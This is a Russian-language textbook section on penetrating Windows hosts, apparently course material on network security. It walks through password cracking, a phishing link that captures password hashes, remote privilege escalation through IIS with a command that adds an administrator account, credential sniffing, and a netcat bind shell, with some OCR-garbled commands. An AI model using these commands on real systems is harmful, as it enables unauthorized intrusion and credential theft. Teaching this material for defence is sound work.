Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
4,6 Firewalls Общая информация и применение пер...doc
Скачиваний:
5
Добавлен:
01.04.2025
Размер:
4.61 Mб
Скачать

4.3.3 Проникновение в сеть и захват контроля над хостом

Необходимо отметить, что одними из наиболее распространённых способов проникновения является атака на сетевые приложения, такие, например, как Web-сервера. Описать все способы, основанные на взломе приложений, в рамках данной работы не представляется возможным, поэтому остановимся на уровне операционной системы. Подробно же эти средства проникновения рассматриваются в [7,8].

4.3.3.1 Взлом хоста с ос Windows

Далее рассмотрим некоторые методы удалённого проникновения и локального получения/расширения привелегий.

Взлом паролей

Подбор паролей при помощи l0phtcrack

Утилита l0phtcrack предназначена для подбора паролей, и обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов.

В l0phtcrack имеется функция SMB Packet Capture. С использованием этой функции можно обойтись без перехвата файла паролей, а вместо этого прослушать локальный сегмент сети, перехватить запросы на регистрацию, которыми обмениваются системы, а затем выбрать из них информацию о зашифрованных паролях. Затем выполняется алгоритм расшифровки, обратный тому, который используется при шифровании паролей в системе.

Из заголовка пакета утилита l0phtcrack получает только сам запрос и запрос, закодированный с помощью хэш-кода пароля. Затем выполняется кодирование известного значения запроса с помощью случайно генерируемых строк и результат сравнивается с полученным зашифрованным значением запроса. Эта процедура повторяется до тех пор, пока не будет найдена случайная строка, для которой результаты окажутся идентичными [9].

Один из способов использования утилиты заключается в следующем. Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен по заранее введённому адресу для аутентификации.

Одной из сильных сторон утилиты LOphtcrack является возможность извлекать хэш-коды паролей прямо из SMB-пакетов, передаваемых по сети.

Johntheripper

John — это программа взлома паролей с использованием словаря [10]. Первоначально эта утилита командной строки была создана для взлома файлов паролей системы UNIX, а теперь ее можно использовать для подбора хэш-кодов LanMan системы Windows. Помимо того, что John совместима с несколькими платформами и позволяет применять несколько разных алгоритмов шифрования, эта утилита отличается также высокой скоростью работы. Утилита John может взламывать лишь пароли LanMan, то полученные результаты необходимо проверять на соответствие прописных и строчных букв (пароли LanMan всегда переводятся в верхний регистр, тогда как в паролях Windows используются как прописные, так и строчные буквы).

Удаленное переполнение буфера

С точки зрения удаленного проникновения самые тяжелые последствия способна вызвать ошибка переполнения буфера (buffer overflow). Переполнение буфера возникает тогда, когда программы не способны адекватно отслеживать длину вводимых данных. В таких случаях избыточные данные записываются поверх части стека центрального процессора. Если это произойдет не случайно, а в результате передачи в качестве избыточных данных соответствующих команд, то новый код может привести к выполнению операций, подобранных программистом [11].

Переполнение буфера можно отнести к одному из двух основных классов: удаленное и локальное. Для достижения локального переполнения требуется доступ к консоли, и его обычно могут осуществить лишь интерактивные пользователи. Удаленное переполнение буфера является гораздо более опасным. Такой возможностью могут воспользоваться взломщики, имеющие нулевые привилегии на целевом компьютере и находящиеся на любом узле сети. Как правило, удаленное переполнение буфера связано с размещением на целевой системе "полезного груза" (т.е. кода, помещенного в стек центрального процессора).

Расширение привилегий

Если попытка подбора пароля увенчалась успехом, то в руках взломщика оказывается, обычно, регистрационное имя и связанный с ним пароль пользователя, не имеющего прав администратора.

Далее взломщик должен озаботиться расширением полномочий учетной записи обычного пользователя до уровня учетной записи Administrator.

Утилита sechole

Утилита sechole добавтяет текущего пользователя в локальную группу администраторов. Sechole модифицирует в оперативной памяти код вызова процедуры OpenProcess, и это позволяет ей успешно подключаться к привилегированному процессу, независимо от того, имеет ли она для этого соответствующие разрешения. После успешного подключения она выполняет код внутри процесса-носителя, и добавляет текущего пользователя в указанную группу Administrators [12].

Утилита sechole должна быть запущена локально. Однако, если на целевом узле запущен сервер IIS и, кроме этого, выполняются и некоторые дополнительные условия, sechole можно запустить и удаленно, добавив используемую по умолчанию учетную запись пользователя Internet и имя машины в группу Administrators или Domain Admins.

Удаленный запуск утилиты sechole

Успешность такой атаки зависит от того, существует ли каталог US-сервера, доступный для записи и запуска программ. Microsoft "предоставляет" много каталогов с такими разрешениями, используемыми по умолчанию.

Виртуальные каталоги сервера IIS помечены как доступные для выполнения. Соответствующие им физические каталоги по умолчанию имеют разрешения Read, Write, Execute и Delete (RWXD).

После анализа заданных по умолчанию разрешений становится очевидно, что сервером может быть выполнен любой ложный исполняемый файл, расположенный в любом из этих каталогов. У взломщика имеется лишь одно препятствие: удаленно поместить в какой-либо из этих каталогов требуемый исполняемый файл.

Для этих целей можно воспользоваться открытыми для совместного использования разделами жесткого диска, организованными каталогами FTP, часто перекрывающими виртуальные каталоги. Для решения поставленной задачи можно воспользоваться также недостаточно защищенными командами удаленного управления (например, telnet), методами PUT протокола HTTP или средствами авторизации в Web, предоставляемыми приложением FrontPage.

Взломщик загружает утилиту sechole и связанные с ней библиотеки DLL в один из каталогов. Поскольку эта программа запускается из командной строки, то необходимо поместить в тот же каталог и командный интерпретатор cmd.exe.

Утилита sechole добавляет пользователя в локальную или доменную группу администраторов. Если же она была запущена посредством Web-броузера, то в группу администраторов будет добавлена учетная запись IURS_имя_машины. Этой учетной записи назначается случайный пароль, который придется подбирать при удаленной регистрации. Создать новую учетную запись пользователя с паролем, который выбрал сам взломщик, в группе администраторов, можно с помощью встроенной команды net localgroup. Надо создать простой командный файл (например, с именем adduser.bat) со следующей строкой:

net user mallory qpensesame /add && net localgroup administrators mallory /add

После того как в требуемый каталог помещены утилита sechole, связанные с ней динамически подключаемые библиотеки, командный интерпретатор cmd.exe и файл adduser.bat, для его запуска взломщику достаточно ввести соответствующий адрес URL в Web-броузере, подключенном к удаленному компьютеру. В примере, показанном на Рис. 4.24, утилита sechole была помещена в виртуальный каталог /WSSVC/I/ROOT/SCRIPTS (и в физический каталог C:\inetpub\SCRiPTS), а затем запущена с помощью соответствующего адреса URL.

Рис. 4.24 - Взлом удаленной системы с помощью утилиты sechole

Д алее вместо того чтобы регистрироваться с использованием учетной записи IUSR, пароль которой пока неизвестен, взломщик добавит нового пользователя с помощью файла сценария adduser.bat, запущенного в броузере с использованием следующего сложного адреса URL.

http://192.168.202.154/scripts/cmd.exe?/c%20c:\inetpub\scripts\adduser.bat

Подстрока %20 интерпретируется Web-сервером как символ пробела, что приводит к преобразованию адреса URL в команду, которая выполнится на удаленном узле (команда cmd /с будет передавать команды, содержащиеся в файле adduser.bat, командной оболочке).

Теперь, когда учетная запись IUSR внесена в группу администраторов и добавлен новый пользователь с привилегиями администратора, взломщик стал "владельцем" Web-сервера.

Анализаторы сетевых пакетов

Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов дальнейшего проникновения в сеть после того, как взломщик получил доступ к одному узлу. В настоящее время имеется множество средств перехвата пакетов, в том числе один из самых знаменитых коммерческих наборов анализа протоколов Sniffer Pro от компании Network Associate [13].

В то же время очевидно, что графический интерфейс этих программ препятствует их применению в тех случаях, когда основным требованием является скрытность выполняемых действий и можно лишь удаленно воспользоваться командной строкой. Рассмотрим некоторые программы-анализаторы сетевых пакетов, которые можно установить удаленно и использовать из командной строки, а также несколько средств на базе интерфейса Win32.

BUTTSniffer

BUTTSniffer является динамически загружаемой программой.. Программа состоит из двух основных компонентов, BUTTSniff.exe и BUTTSniff.dll, каждый из которых можно переименовать. Для установки этих файлов достаточно просто загрузить их на целевой узел. Никаких дополнительных действий по установке не требуется. Запуск программы осуществляется из командной строки, в которой можно указать различные параметры. Параметр -1 позволяет получить список интерфейсов, доступных для перехвата пакетов. Есть возможность копирования всех захваченных данных в файл на жестком диске (для этого нужно не использовать параметры фильтрации), как показано в следующем примере.

D:\Toolbox\buttsniffer>buttsniff-1

WinNT: Version 4.0 Build 1381

Service Pack: Service Pack 6

# Interface Description

-----------------------

0 Remote Access Mac

[\Device\NDIS3Pkt_AsyncMac4] (no promise.)

1 3Com Megahertz FEM556B [\Device\NDIS3Pkt_FEM5567]

D:\Toolbox\buttsniffer>

buttsniff -d 1 D:\test\sniffl.txt p

WinNT: Version 4.0 Build 1381

Service Pack: Service Pack 6

Press Ctrl-C to stop logging...

Close requested

D:\Toolbox\buttsniffer>

cat D:\test\sniffl.txt

Source IP: 192.168.7.36 Target IP: 192.168.7.200

TCP Length: 13 Source Port: 3530

Target Port: 21 Seq: 001A145E

Ack: 6D968BEC

Flags: PA Window: 8711

TCP ChkSum: 6575 UrgPtr: 0

00000000: 55 53 45 52 20

67 65 6F 72 67 65 OD OA USER

ernie..

Source IP: 192.168.7.36

Target IP: 192.168.7.200

TCP Length: 17 Source Port: 3530

Target Port: 21 Seq: 001A146B

Ack: 6D968COF

Flags: PA Window: 8676

TCP ChkSum: 41325

UrgPtr: 0 00000000: 50 41 53 53 20 47 65

6F 72 67 65 30 30 31 3F OD

PASS bert.

00000010: OA

fsniff

Утилитой fsniff используется динамически загружаемый драйвер захвата пакетов (fsniff .sys), что значительно облегчает ее использование. Эта утилита выполняет автоматическую фильтрацию данных аутентификации, содержащихся в пакетах, как показано в следующем примере сеанса FTP.

С:\tmp>fsniff

fsniff vl.О - copyright2000 foundstone, inc.

driver activated

192.168.200.15 [4439] -> 172.16.23.45 [21] }

USER test PASS ralph

172.16.23.45 [21] -> 192.168.200.15 [4439] }

220 ftp.victim.net FTP server (Version wu-2.5.0(l)

Tue Sep 21 16:48:12

EOT 199

9) ready.

331 Password required for test.

530 Login incorrect.

packets received 27 - sniffed 10

Анализаторы пакетов Win32 на базе интерфейса WinPcap

Многие популярные программы-анализаторы UNIX, предназначенные для захвата пакетов на уровне пользователей, созданы на базе интерфейса libpcap, не зависящего от используемой платформы. Свободно распространяемая версия Win32 этого интерфейса, WinPcap, была разработана группой исследователей из политехнического университета Торино (Politecnico di Torino) [14]. Этот интерфейс предоставляет основу для создания некоторых средств перехвата сетевых пакетов. Однако их неудобно устанавливать на удаленном узле и использовать из командной строки. Кроме того, в отличие от динамически загружаемых утилит BUTTSniffer и fsniff, для активизации таких средств зачастую требуется перезагрузка.

WinDump

Эта утилита, являющаяся аналогом утилиты tcpdump системы UNIX, написана авторами WinPcap. Как видно из приведенного ниже примера, эта утилита является простым средством перехвата пакетов, предоставляющим данные в необработанном виде:

D:\>windump

windump: listening on\Device\Packet_E159xl

01:06:05.818515 WKSTN.1044 >

CORP-DC.139: P 287217:287285(68) ack

3906909778 wi

n 7536 (DF) [tos 0x86]

01:06:05.818913 CORP-DC.139 >

WKSTN.1044: P 1:69(68) ack 68 win 16556

(DF)

01:06:05.825661 arp who-has

192.168.234.1 tell WKSTN

01:06:05.826221 arp reply

192.168.234.1 is-at 8:0:3d:14:47:d4

dsniff для Win32

Утилита dsniff является одним из самых лучших средств перехвата пакетов системы UNIX, предназначенных исключительно для получения паролей. Она была написана Дагом Сонгом (Dug Song) [15]. Утилита dsniff автоматически выявляет и подробно анализирует каждый протокол, сохраняя лишь часть уникальных данных, используемых при аутентификации.

В следующем примере утилита dsniff была использована для перехвата пакетов, передаваемых в процессе аутентификации по протоколу POP.

D:\dsniff>dsniff

07/31/00 17:16:34 С574308-А ->

mail.victim.net (pop)

USER johnboy

PASS goodnight

Удаленный доступ к командной оболочке с помощью netcat

Еще одним простым способом организации "тайного хода" в систему является применение утилиты netcat [16]. Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере.

Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки cmd.exe); а -р указывает порт, который будет прослушиваться.

С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080

Теперь любой хост, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, в локальной системе используется приглашение D:\>, а в удаленной - С: \TEMP\NC11NТ>.

D:\> nc 192.168.202.44 8080

Microsoft(R) Windows NT(TM)

(С) Copyright 1985-1996 Microsoft Corp.

С:\TEMP\NC11NT>

С:\TEMP\NC1lNT>ipconfig

ipconfig

Windows NT IP Configuration Ethernet adapter FEM5561:

IP Address. ........: 192.168.202.44

Subnet Mask ........: 255.255.255.0

Default Gateway ......: C:\TEMP\NCllNT>exit

D:\>

Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.

Наборы Rootkit

Rootkit способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах "троянских коней" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро, в результате чего будут захвачены системные вызовы. С помощью набора "отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям "троянских коней" [17].